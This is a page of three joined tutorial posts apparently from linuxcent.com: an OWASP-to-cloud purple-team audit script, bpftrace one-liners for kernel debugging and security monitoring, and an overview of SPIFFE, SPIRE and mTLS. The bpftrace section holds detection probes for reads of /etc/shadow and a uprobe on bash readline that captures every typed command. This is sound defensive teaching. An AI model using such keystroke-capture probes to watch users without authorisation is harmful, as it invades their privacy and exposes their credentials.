IMDSv2 requires a PUT request to get a session token before credentials can be retrieved — a SSRF via GET cannot retrieve IMDSv2 credentials. Enforcing IMDSv2 closes the SSRF-to-credentials path.

# Check all EC2 instances for IMDSv1 (HttpTokens != "required" means vulnerable)
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].{
    ID:InstanceId,
    Name:Tags[?Key==`Name`]|[0].Value,
    IMDSv2:MetadataOptions.HttpTokens,
    State:State.Name
  }' \
  --output table

# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

The Series Attack Map: Which Episodes Cover Which Categories

OWASP Category Purple Team Episode
A01 Broken Access Control EP04: Broken access control in AWS
A02 Cryptographic Failures EP06 (partial): CI/CD secrets exposure
A03 Injection EP07: SSRF to cloud metadata
A04 Insecure Design EP08: Kubernetes container escape
A05 Security Misconfiguration EP08: Kubernetes container escape
A06 Vulnerable Components EP09: Supply chain attacks
A07 Authentication Failures EP05: MFA fatigue attacks
A08 SW/Data Integrity EP06: CI/CD secrets exposure, EP09: Supply chain
A09 Logging/Monitoring Failures EP11: Detection engineering with eBPF
A10 SSRF EP07: SSRF to cloud metadata

Run This in Your Own Environment: OWASP Coverage Self-Assessment

Run this against your AWS account and record the results as your OWASP A01–A10 baseline before the EP04 exercise:

#!/bin/bash
# Purple Team EP02 — OWASP Cloud Coverage Check
# Run in an account with read-only IAM permissions

echo "=== A01: Broken Access Control ==="
echo "--- S3 public access block status ---"
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) 2>/dev/null || \
  echo "WARN: Account-level public access block not set"

echo ""
echo "=== A02: Cryptographic Failures ==="
echo "--- EBS default encryption ---"
aws ec2 get-ebs-encryption-by-default --query 'EbsEncryptionByDefault' --output text

echo ""
echo "=== A05: Security Misconfiguration ==="
echo "--- GuardDuty status in current region ---"
aws guardduty list-detectors --query 'DetectorIds' --output text || echo "DISABLED"

echo ""
echo "=== A07: Authentication Failures ==="
echo "--- IAM users without MFA ---"
aws iam generate-credential-report 2>/dev/null
sleep 3
aws iam get-credential-report --query 'Content' --output text | base64 -d | \
  awk -F',' 'NR>1 && $4=="true" && $8=="false" {print "NO MFA: "$1}'

echo ""
echo "=== A09: Logging/Monitoring Failures ==="
echo "--- CloudTrail multi-region trail ---"
aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==`true`].Name' --output text || \
  echo "WARN: No multi-region trail"

echo ""
echo "=== A10: SSRF ==="
echo "--- EC2 instances with IMDSv1 enabled ---"
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,IMDS:MetadataOptions.HttpTokens}' \
  --output table

⚠ Common Mistakes When Mapping OWASP to Infrastructure

Treating it as a checklist, not a threat model. OWASP categories are not yes/no checkboxes. “Is broken access control present?” is not a question with a binary answer. The question is: which resources are accessible to which principals, and is that access correct given the intended design?

Ignoring A09 (Logging/Monitoring) until the breach. The first nine categories are about preventing or limiting the attack. A09 is about knowing it happened. Without A09 controls, you will not know you were breached until a third party tells you.

Fixing web-layer controls and ignoring the infrastructure equivalents. An organization that scores well on OWASP in their web application pen test may still have public S3 buckets, IMDSv1 enabled everywhere, and no CloudTrail in us-west-1. The mapping in this episode applies to infrastructure — run it separately from your application security assessments.

Conflating A06 (Vulnerable Components) with just “patch management.” XZ Utils was fully patched in the affected timeframe — the malicious version was the latest release. A06 in the supply chain context is about verifying the integrity of what you install, not just its version number.

Quick Reference

OWASP Cloud Infrastructure Equivalent Detection Tool
A01 IAM wildcards, public S3, broad trust policies AWS Config, CloudTrail
A02 Plaintext secrets in env vars, unencrypted S3 TruffleHog, Macie
A03 SSRF, Log4j JNDI injection WAF logs, CloudTrail IMDS calls
A04 Privileged containers, no seccomp OPA/Gatekeeper, Falco
A05 K8s RBAC defaults, open etcd, open SGs kube-bench, AWS Config
A06 Unpatched base images, transitive CVEs, supply chain Trivy, Grype, SLSA
A07 MFA fatigue, long-lived sessions, stolen tokens GuardDuty, Okta logs
A08 Unsigned images, mutable CI references, build compromise Cosign, SLSA, OIDC
A09 No CloudTrail, no GuardDuty, no runtime telemetry AWS Security Hub
A10 IMDSv1 on EC2, SSRF to internal endpoints VPC Flow Logs, CloudTrail

Key Takeaways

  • OWASP Top 10 is a threat taxonomy — every category has a cloud, Kubernetes, or Linux infrastructure equivalent
  • A01 (Broken Access Control) is the most common cloud failure: IAM wildcards, public S3, and overly broad trust policies
  • A10 (SSRF) is what enabled the Capital One breach — IMDSv1 on EC2 makes any SSRF a credential theft path
  • A08 (Software/Data Integrity) is the SolarWinds attack class — supply chain compromise of the build pipeline itself
  • A09 (Logging/Monitoring) is the category that turns the other nine from “detectable breach” into “11-day dwell time”
  • Fixing A01–A08 without A09 means you improve your controls but still won’t know when they’re bypassed
  • Run the OWASP coverage self-assessment above and record your baseline before starting the episode exercises

What’s Next

EP03 is the breach landscape: six major incidents from December 2020 (SolarWinds) through April 2024 (XZ Utils). Each one maps to the OWASP categories from this episode. The pattern across all six is three root causes — identity, supply chain, misconfiguration — and understanding that pattern tells you where to spend your next purple team exercise. The cloud security breaches from 2020 to 2025 are the empirical record this series is built on.

Get EP03 in your inbox when it publishes → subscribe at linuxcent.com

bpftrace — Kernel Answers in One Line

by
Reading Time: 8 minutes

eBPF: From Kernel to Cloud, Episode 9
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace**

TL;DR

  • bpftrace is an eBPF compiler, not a monitoring agent — every one-liner compiles, loads, runs, and cleans up a complete kernel program
    (think of it like kubectl exec — but for asking the kernel a direct question, with no agent, no sidecar, no prior setup)
  • kretprobe and tracepoint cover most production debugging needs; use tracepoints for stability across kernel versions
  • The security use cases are unique: kernel-level observation that an attacker inside a container cannot suppress
  • Every connection, every file open, every process spawn — observable in real time with a single command, no prior instrumentation
  • Production caution: high-frequency probes on hot paths add overhead; filter by pid/comm, use --timeout, watch %si
  • Container PIDs are host-namespace PIDs in bpftrace — use curtask->real_parent->tgid to correlate to container activity

bpftrace turns any kernel question into a one-liner — compiling, loading, and attaching a complete eBPF program in seconds, with no agents, no restarts, and no prior instrumentation on the node. When something is wrong on a node right now and you don’t know where to look, it’s how you ask the kernel a direct question. That’s what EP09 is about.

Quick Check: Is bpftrace Available on Your Node?

Before the one-liner toolkit — verify bpftrace is installed and working on a cluster node:

# SSH into a worker node, then:
bpftrace --version
# bpftrace v0.19.0   ← any version ≥ 0.16 supports the patterns in this episode

# Verify BTF is available (required for struct access one-liners)
ls /sys/kernel/btf/vmlinux && echo "BTF available"

# The simplest possible one-liner — count syscalls for 5 seconds
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' --timeout 5

Expected output (abridged):

Attaching 1 probe...

@[containerd]: 312
@[kubelet]:    841
@[node_exporter]: 203
@[sshd]:       47

Each line is a process name and how many syscalls it made in 5 seconds. If this runs and produces output, everything in this episode will work on your node.

Not on a self-managed node? EKS managed nodes and GKE nodes don’t have bpftrace pre-installed, but you can run it from a privileged debug pod: kubectl debug node/<node-name> -it --image=quay.io/iovisor/bpftrace. The tool runs on the host kernel — you get full kernel visibility even from a pod.

A node in production started showing elevated TCP latency — p99 at 180ms, where p99 was normally under 10ms. The application logs were clean. The APM dashboard showed nothing unusual at the service level. CPU, memory, disk: all normal. The load balancer health checks were passing.

I had 12 minutes before the on-call escalation would have gone to the application team and started a war room.

I ran one command:

bpftrace -e 'kretprobe:tcp_recvmsg { @bytes[comm] = hist(retval); }' --timeout 10

Ten seconds of sampling. The histogram output showed a single process — backup-agent — receiving 4MB chunks at irregular intervals. Not the application. Not the service mesh. A backup agent that runs at the infrastructure layer, saturating the receive path with large reads during its scheduled window.

Found in 9 seconds. War room averted.

What made that possible is something most engineers don’t know about bpftrace: that one-liner is not a monitoring query. It’s a complete eBPF program — compiled, loaded into the kernel, attached to the tcp_recvmsg kernel return probe, run, and cleaned up — all in ten seconds. bpftrace is a compiler that happens to have a very convenient command-line interface.

What bpftrace Actually Is

bpftrace is not a monitoring tool. It’s an eBPF compiler with a high-level scripting language designed for one-shot investigation.

When you run bpftrace -e 'kretprobe:tcp_recvmsg { ... }', this is what happens:

Your one-liner
      ↓
bpftrace's built-in LLVM/Clang frontend
      ↓
eBPF bytecode (.bpf.o in memory)
      ↓
Kernel verifier validates the program
      ↓
JIT compiler compiles to native machine code
      ↓
Program attaches to tcp_recvmsg kretprobe
      ↓
Runs until Ctrl-C or --timeout
      ↓
Output printed, maps freed, program detached

The kernel doesn’t know bpftrace wrote the program. It’s the same path as Falco, Cilium, Tetragon — kernel program loaded via the BPF syscall, verified, JIT-compiled, attached to a probe. bpftrace just wraps that entire process in a scripting language that takes 30 seconds to write instead of an afternoon.

This is why bpftrace can answer questions that no other tool can: it compiles to a kernel-level observer that fires on any event in the kernel, on any process, on any container — without any prior instrumentation.

The Four Probe Types You’ll Use Most

bpftrace supports 20+ probe types. These four cover 90% of production debugging:

kprobe / kretprobe — Kernel Functions

Attaches to the entry (kprobe) or return (kretprobe) of any kernel function. The most powerful probes for understanding what the kernel is actually doing.

# Fire on every call to tcp_connect — who's making new TCP connections?
bpftrace -e 'kprobe:tcp_connect { printf("%s PID %d connecting\n", comm, pid); }'

# On return from tcp_recvmsg — how large are the reads per process?
bpftrace -e 'kretprobe:tcp_recvmsg { @[comm] = hist(retval); }'

# Count calls to vfs_write per process (file write activity)
bpftrace -e 'kprobe:vfs_write { @[comm] = count(); }'

Limitation: kernel functions are internal and can change between kernel versions. Use tracepoints (below) for stability when you can.

kprobe instability: A function targeted by a kprobe can be inlined by the kernel compiler — the compiler embeds the function’s code at its call sites with no separate entry point. When that happens, the kprobe silently fires on nothing. Verify before relying on one: bpftrace -l 'kprobe:function_name' — empty response means it was inlined. Use a tracepoint equivalent instead.

tracepoint — Stable Kernel Trace Points

Tracepoints are stable, versioned hooks explicitly placed in the kernel source. Unlike kprobes, they are part of the kernel’s public interface and guaranteed not to disappear between versions. Use these for anything you need to work reliably across a fleet with mixed kernel versions.

# Every file open — process name + filename
bpftrace -e 'tracepoint:syscalls:sys_enter_openat {
    printf("%s %s\n", comm, str(args->filename));
}'

# Every outbound connect — process, destination IP and port
bpftrace -e 'tracepoint:syscalls:sys_enter_connect {
    printf("%-16s %-6d\n", comm, pid);
}'

# List all available tracepoints (hundreds)
bpftrace -l 'tracepoint:syscalls:*' | head -30

uprobe — Userspace Function Probes

Attaches to a specific function in a userspace binary or library. Useful for observing application behaviour without recompiling.

# What bash commands are being typed on this node?
bpftrace -e 'uprobe:/bin/bash:readline { printf("%s\n", str(arg0)); }'

# Python function calls
bpftrace -e 'uprobe:/usr/bin/python3:PyObject_Call { printf("Python call: pid %d\n", pid); }'

From a security standpoint: this is how you observe what an attacker is typing in an interactive shell they’ve obtained on your node — in real time, from the kernel, without touching the terminal session.

interval — Periodic Sampling

Runs a block of code on a fixed interval. Used for aggregation and periodic stats.

# Print the top file-opening processes every 5 seconds
bpftrace -e '
kprobe:vfs_open { @[comm] = count(); }
interval:s:5  { print(@); clear(@); }
'

The One-Liner Toolkit: Runnable Right Now

These run on any Linux node with BTF (kernel 5.8+, Ubuntu 20.04+, most managed K8s nodes):

# What files is every process opening right now? (30-second view)
bpftrace -e 'tracepoint:syscalls:sys_enter_openat {
    printf("%-16s %s\n", comm, str(args->filename));
}' --timeout 30

# Who is making DNS queries? (catches queries from any container, no sidecar needed)
bpftrace -e 'tracepoint:net:net_dev_xmit {
    if (args->skbaddr->protocol == 0x0800) printf("%s\n", comm);
}'

# Latency histogram for all read() syscalls — find the slow process
bpftrace -e '
tracepoint:syscalls:sys_enter_read { @start[tid] = nsecs; }
tracepoint:syscalls:sys_exit_read  {
    $latency = nsecs - @start[tid];
    @latency[comm] = hist($latency);
    delete(@start[tid]);
}' --timeout 15

# Which process is using the most CPU right now? (99Hz sampling)
bpftrace -e 'profile:hz:99 { @[comm] = count(); }' --timeout 10

# Real-time syscall frequency — find unusual process activity
bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm, args->id] = count(); }' --timeout 10 \
  | sort -k3 -rn | head -20

# New TCP connections in the last 30 seconds — source and dest
bpftrace -e 'kprobe:tcp_connect {
    $sk = (struct sock *)arg0;
    printf("%-16s → %s:%d\n", comm,
           ntop(AF_INET, $sk->__sk_common.skc_daddr),
           $sk->__sk_common.skc_dport >> 8);
}' --timeout 30

# What is a specific PID doing? (replace 12345)
bpftrace -e 'tracepoint:syscalls:sys_enter_openat /pid == 12345/ {
    printf("%s\n", str(args->filename));
}'

Each of these compiles and loads in under 2 seconds. They leave no persistent state. When they exit, the kernel reverts to exactly the state it was in before.

The Security Use Cases

Watching an Active Session

If you suspect a process is running commands you didn’t deploy:

# See every bash command on this node in real time
bpftrace -e 'uprobe:/bin/bash:readline { printf("%s %s\n", comm, str(arg0)); }'

# Every process spawn — PID, parent, command
bpftrace -e 'tracepoint:syscalls:sys_enter_execve {
    printf("%-6d %-6d %s\n", pid, curtask->real_parent->tgid, str(args->filename));
}'

This is the kernel-level version of watching /var/log/auth.log — except it can’t be suppressed by an attacker who has root, because the probe runs in kernel space. An attacker who has compromised a container with root inside the container cannot prevent a bpftrace program on the host from observing their syscalls.

Detecting Unexpected Network Activity

# Any process making a connection to a non-standard port
bpftrace -e 'kprobe:tcp_connect {
    $sk = (struct sock *)arg0;
    $port = $sk->__sk_common.skc_dport >> 8;
    if ($port != 80 && $port != 443 && $port != 53) {
        printf("%-16s port %d\n", comm, $port);
    }
}'

# DNS queries to non-standard resolvers (anything not on port 53)
bpftrace -e 'tracepoint:syscalls:sys_enter_sendto {
    if (args->addr->sa_family == 2) {
        printf("%-16s → %s\n", comm, str(args->addr));
    }
}'

Watching File Access on Sensitive Paths

# Any access to /etc/passwd, /etc/shadow, /root/
bpftrace -e 'tracepoint:syscalls:sys_enter_openat {
    if (str(args->filename) == "/etc/passwd" ||
        str(args->filename) == "/etc/shadow") {
        printf("%-16s PID %-6d opened %s\n", comm, pid, str(args->filename));
    }
}'

Production Gotchas

CPU overhead: bpftrace probes fire synchronously in the traced context. High-frequency probes on hot kernel paths (vfs_read, sys_enter_* without filtering) can add 10–20% overhead. Always test with --timeout and watch %si before running on a production node.

Maps grow unbounded by default: @[comm] = count() will accumulate an entry per unique comm value forever in the current session. Use clear(@) in an interval block, or set a key limit: @[comm] = count(); if (@[comm] > 100) { clear(@comm); }.

kprobe instability: Functions targeted by kprobes can be inlined by the compiler between kernel versions, making the probe silently ineffective. If a kprobe isn’t firing, verify the function exists: bpftrace -l 'kprobe:function_name'. If it returns nothing, the function was inlined. Use a tracepoint equivalent instead.

Container PIDs: PIDs inside a container are different from host PIDs. pid in bpftrace is the host namespace PID.

Container PID semantics: When a container shows PID 1 internally, the host kernel sees it as PID 8432 (or whatever was assigned). bpftrace’s pid built-in always gives you the host-namespace PID. To map a container’s PID to the host PID: cat /proc/<host-pid>/status | grep NSpid — the second value is the PID inside the container. Or use curtask->real_parent->tgid in your probe to walk the process tree. This matters when you filter by pid in a one-liner and get no output — you may be filtering on the container-namespace PID instead of the host one.

BTF requirement: bpftrace requires BTF for struct field access ($sk->__sk_common.skc_daddr). If BTF is unavailable, struct access fails. Check /sys/kernel/btf/vmlinux exists before running struct-access one-liners.

Quick Reference

Probe type Syntax Use for
kernel function entry kprobe:function_name Function arguments
kernel function return kretprobe:function_name Return value, latency
kernel tracepoint tracepoint:subsys:name Stable, versioned hooks
userspace function uprobe:/path/to/bin:function App-level observation
CPU sampling profile:hz:99 Flamegraphs, hot code
interval interval:s:N Periodic aggregation
process start tracepoint:syscalls:sys_enter_execve New process detection
Built-in variable Value
pid Process ID (host namespace)
tid Thread ID
comm Process name (15 chars)
nsecs Nanoseconds since boot
curtask Pointer to task_struct
retval Return value (kretprobe/tracepoint exit)
args Probe arguments struct

Key Takeaways

  • bpftrace is an eBPF compiler, not a monitoring agent — every one-liner compiles, loads, runs, and cleans up a complete kernel program
  • kretprobe and tracepoint cover most production debugging needs; use tracepoints for stability across kernel versions
  • The security use cases are unique: kernel-level observation that an attacker inside a container cannot suppress, because the probe runs on the host in kernel space
  • Every connection, every file open, every process spawn — observable in real time with a single command, no prior instrumentation
  • Production caution: high-frequency probes on hot paths add overhead; filter by pid/comm, use --timeout, watch %si

What’s Next

bpftrace answers questions you ask in the moment. EP10 covers what happens when you need those answers continuously — not as a one-shot investigation tool, but as persistent telemetry recording every network connection across your entire cluster.

Flow observability from TC hooks is the always-on version: a persistent eBPF program recording every connection attempt, every retransmit, every dropped packet — the ground truth layer that everything above it interprets. When your APM says “timeout” and the kernel says “retransmit storm to one specific endpoint,” the kernel is right.

Next: network flow observability at the kernel level

Get EP10 in your inbox when it publishes → linuxcent.com/subscribe

Zero Trust Identity: SPIFFE, SPIRE, mTLS, and Continuous Verification

by
Reading Time: 7 minutes

The Identity Stack, Episode 13
EP12: Entra ID + Linux → EP13

TL;DR

  • Zero Trust means “never trust, always verify” — identity is verified continuously, not just at login time; network location provides no implicit trust
  • Human identity (users) and workload identity (services, pods, jobs) are separate problems — LDAP/Kerberos/OIDC solve the human side; SPIFFE/SPIRE solve the workload side
  • SPIFFE (Secure Production Identity Framework For Everyone) defines a standard for workload identity — a SPIFFE ID is a URI like spiffe://corp.com/ns/prod/sa/payments-svc
  • SPIRE (SPIFFE Runtime Environment) issues short-lived X.509 SVIDs (SPIFFE Verifiable Identity Documents) to workloads — certificates that rotate automatically, every hour
  • mTLS (mutual TLS) is how workloads prove identity to each other — both sides present certificates; no passwords, no API keys
  • The evolution: /etc/passwd (1970) → NIS → LDAP → Kerberos → SAML → OIDC → SPIFFE/SPIRE — the problem has always been the same; the trust boundary keeps moving outward

The Big Picture: From /etc/passwd to Zero Trust

1970s  /etc/passwd              ← trust: the local machine
       One machine, one user list

1984   NIS / Yellow Pages       ← trust: the local network
       Centralized, but cleartext, flat

1993   LDAP                     ← trust: the directory server
       Hierarchical, scalable, encrypted (eventually)

1988   Kerberos                 ← trust: the KDC
       Tickets instead of passwords, network-wide

2002   SAML                     ← trust: the IdP assertion
       Identity crosses the internet

2014   OIDC / OAuth2            ← trust: the JWT signature
       API-native, mobile-native, developer-native

2017   SPIFFE / SPIRE           ← trust: the workload certificate
       Automated identity for services, not humans

2026   Zero Trust               ← trust: nothing, verify everything
       Continuous verification, short-lived credentials,
       device posture, behavioral signals

EP01 of this series started with the chaos of per-machine /etc/passwd. This episode — EP13 — closes the loop: from that chaos to a model where identity is verified continuously, credentials expire in hours not years, and the network provides no implicit trust.

The Assumption That Zero Trust Rejects

Traditional security assumed: if you’re on the internal network, you’re trusted. A VPN user was treated as equivalent to someone at a desk in the office. A service running on the same Kubernetes node as another service was implicitly trusted.

That assumption broke in practice:

  • Compromised VPN credentials gave attackers full internal access
  • Lateral movement after initial compromise was easy — once inside, everything trusted you
  • Perimeter-based security had no visibility into east-west traffic (service-to-service)

Zero Trust inverts the model: the network provides no trust. Every access request is verified — user or service, internal or external, first request or hundredth. Trust is dynamic, contextual, and short-lived.

Human Zero Trust: Continuous Verification

For human users, Zero Trust extends OIDC and Conditional Access:

Short-lived tokens. Access tokens expire in 1 hour (OIDC standard). Refresh tokens are revocable. A user who is terminated can have their refresh tokens revoked in Entra ID — the next time their app tries to use the refresh token, it fails. The maximum blast radius of a stolen token is bounded by its lifetime.

Device posture. The device the user authenticates from is part of the identity assertion. Conditional Access can require: device is managed (Intune-enrolled), device is compliant (no malware, full-disk encryption enabled, OS patched). A valid user credential from an unmanaged device is denied.

Behavioral signals. Entra ID Identity Protection and similar systems analyze login patterns — unusual location, impossible travel (login from Mumbai, then New York 5 minutes later), unfamiliar device. High-risk sign-ins trigger step-up authentication or are blocked automatically.

Privileged Access Management (PAM). For privileged operations (production shell access, AD admin), Zero Trust adds time-bounded just-in-time access:

Request:  "I need admin access to db01.corp.com for 2 hours to investigate an incident"
Approval: Manager approves via Slack/email/ticketing system
Grant:    Temporary role assignment or password checkout from the PAM vault
Access:   User SSHes with a one-time or time-limited credential
Expire:   Credential automatically revoked after 2 hours
Audit:    Full session recording available for review

CyberArk, BeyondTrust, and HashiCorp Vault implement this model. Vault’s SSH Secrets Engine issues short-lived SSH certificates:

# Request a signed SSH certificate (valid 30 minutes)
vault ssh \
  -role=prod-admin \
  -mode=ca \
  -mount-point=ssh-client-signer \
  [email protected]

# Vault issues a certificate signed by the server's trusted CA
# sshd on db01 trusts that CA — no authorized_keys needed
# Certificate expires in 30 minutes — no cleanup required

Workload Identity: The Non-Human Problem

Services don’t have passwords they can type. A microservice calling another microservice needs to prove its identity — but you can’t give a Kubernetes pod a static API key (it’ll be in a config file, in a git repo, or in a crash dump within 6 months).

Workload identity solves this with short-lived, automatically rotated certificates — the service’s identity is its certificate, issued by a trusted CA, expiring in minutes to hours.

Traditional:                     Zero Trust:
  payments-svc → orders-svc        payments-svc → orders-svc
  Authentication: API key           Authentication: mTLS (X.509 cert)
  "Bearer sk_live_abc123"           cert: spiffe://corp.com/ns/prod/sa/payments-svc
  Rotation: manual (rarely done)    Rotation: automatic, every hour
  Revocation: change the key        Revocation: cert expires; new cert issued
  Audit: "API key was used"         Audit: "spiffe://payments-svc → spiffe://orders-svc"

SPIFFE: The Standard

SPIFFE (Secure Production Identity Framework For Everyone) defines what a workload identity looks like. The core concept is the SPIFFE ID — a URI in the format:

spiffe://<trust-domain>/<workload-path>

Examples:
  spiffe://corp.com/ns/prod/sa/payments-svc
  spiffe://corp.com/region/us-east/service/auth-api
  spiffe://corp.com/k8s/cluster-prod/namespace/payments/pod/payments-svc-abc123

The trust domain (corp.com) is the organizational boundary. The path is the workload identifier — typically encoding namespace, service account, or cluster information.

A SPIFFE ID is embedded in an SVID (SPIFFE Verifiable Identity Document) — either an X.509 certificate (X.509-SVID) or a JWT (JWT-SVID). The X.509-SVID is the standard form: the SPIFFE ID appears in the certificate’s Subject Alternative Name (SAN) field.

X.509 Certificate (SVID):
  Subject: CN=payments-svc
  SAN: URI=spiffe://corp.com/ns/prod/sa/payments-svc
  Validity: 1 hour
  Issuer: SPIRE Intermediate CA
  Signed by: corp.com trust bundle

Any service that has the corp.com trust bundle (the CA certificate chain) can verify that a certificate with spiffe://corp.com/... in the SAN was issued by the authorized CA for that trust domain.

SPIRE: The Runtime

SPIRE (SPIFFE Runtime Environment) is the reference implementation that issues SVIDs to workloads.

SPIRE Server
  ├── Node attestation: verifies the identity of the node/VM
  │   (AWS instance identity document, GCP service account, k8s node SA)
  └── Workload attestation: verifies the identity of the process
      (Kubernetes SA, Unix UID/GID, Docker container labels)
         │
         │ issues X.509 SVIDs (short-lived, auto-rotated)
         ▼
SPIRE Agent (runs on every node)
         │
         │ SPIFFE Workload API (Unix socket)
         ▼
Workload (your service)
  → gets its own certificate
  → gets the trust bundle (CA certs of trusted domains)
  → uses cert for mTLS with other services

The workload fetches its identity via the Workload API socket — no environment variables, no file mounts. The SPIRE Agent pushes new certificates before the old ones expire. Rotation is transparent to the workload.

# On a node with SPIRE Agent running:
# Fetch the SVID for the current workload
spire-agent api fetch x509 \
  -socketPath /run/spire/sockets/agent.sock

# Output shows:
# SPIFFE ID: spiffe://corp.com/ns/prod/sa/payments-svc
# Certificate: (PEM)
# Trust bundle: (PEM of issuing CA chain)
# Expires: 2026-04-27T02:00:00Z (1 hour from now)

mTLS: Both Sides Show ID

Mutual TLS (mTLS) is what makes SPIFFE useful operationally. In standard TLS, only the server presents a certificate — the client just verifies it. In mTLS, both sides present certificates. Both sides verify the other’s certificate against the trust bundle.

payments-svc → orders-svc connection:

TLS handshake:
  payments-svc presents: spiffe://corp.com/ns/prod/sa/payments-svc cert
  orders-svc presents:   spiffe://corp.com/ns/prod/sa/orders-svc cert

  Both verify:
    • cert signed by trusted CA (the corp.com SPIRE CA)
    • cert not expired
    • SPIFFE ID in SAN matches what's expected

  After handshake: encrypted channel, both sides verified
  Authorization: orders-svc checks its policy:
    "is spiffe://corp.com/ns/prod/sa/payments-svc allowed to call /api/orders?"

Service meshes (Istio, Linkerd, Consul Connect) implement mTLS transparently — the application doesn’t handle certificates; the sidecar proxy does. In Istio’s case, Citadel (now istiod) acts as the SPIFFE-compatible CA, issuing certificates to envoy sidecars. The application code doesn’t change.

Open Policy Agent: Authorization After Identity

Zero Trust separates identity from authorization. Once you know who the caller is (SPIFFE ID, OIDC token, user cert), a policy engine decides what they can do.

OPA (Open Policy Agent) is the standard for this:

# opa-policy.rego
package authz

# payments-svc can read orders; nothing else can write orders
allow {
  input.caller == "spiffe://corp.com/ns/prod/sa/payments-svc"
  input.method == "GET"
  startswith(input.path, "/api/orders")
}

default allow = false

The service checks OPA on each request: “caller=X wants to do Y to Z — allowed?” OPA evaluates the policy and returns a decision. The policy is version-controlled, tested, and deployed independently of the service.

⚠ Common Misconceptions

“Zero Trust means no trust.” Zero Trust means trust is earned dynamically through verification, not granted by network location. A verified user with a valid, compliant device and MFA is trusted — for the scope and duration of the verified session. The “zero” refers to implicit trust, not trust itself.

“SPIFFE replaces OIDC.” SPIFFE is for workload (service) identity. OIDC is for human (user) identity. They complement each other — a service has a SPIFFE identity; a user has an OIDC identity; the authorization layer accepts both.

“mTLS is complex to implement.” With a service mesh (Istio, Linkerd), mTLS is transparent — the sidecar handles it. Without a service mesh, the application needs to use the SPIFFE Workload API. The complexity is real but manageable, especially compared to the alternative of static API keys.

Framework Alignment

Domain Relevance
CISSP Domain 5: Identity and Access Management Zero Trust extends IAM to workloads (SPIFFE) and continuous verification (short-lived tokens, device posture) — it’s the current frontier of identity architecture
CISSP Domain 3: Security Architecture and Engineering The separation of identity (SPIFFE ID), authentication (mTLS), and authorization (OPA) is a clean architectural decomposition that scales to complex multi-service environments
CISSP Domain 4: Communications and Network Security mTLS encrypts and authenticates every service-to-service connection — it eliminates the assumption that east-west traffic on the internal network is safe
CISSP Domain 1: Security and Risk Management Zero Trust is a risk management posture — it accepts that perimeter breach is inevitable and limits blast radius through continuous verification and least-privilege

Key Takeaways

  • Zero Trust rejects network-based implicit trust — every request is verified regardless of source
  • Human identity: short-lived OIDC tokens, device posture checks, Conditional Access, JIT privileged access (Vault, CyberArk)
  • Workload identity: SPIFFE IDs in X.509 certificates, issued by SPIRE, rotated automatically every hour — no static API keys
  • mTLS lets services verify each other’s identity at the TLS layer — service meshes (Istio, Linkerd) implement it transparently
  • OPA handles authorization after identity is established — who you are ≠ what you can do
  • The series arc: /etc/passwd → NIS → LDAP → Kerberos → SAML → OIDC → SPIFFE/SPIRE — the problem has always been “how do you know who someone is, at scale, without trusting the network?” The answer keeps getting better.

What does identity look like at your organization — still static API keys and shared service accounts, or moving toward SPIFFE and short-lived credentials? 👇

The Identity Stack: From LDAP to Zero Trust — 13 episodes complete.

Start from EP01: What Is LDAP →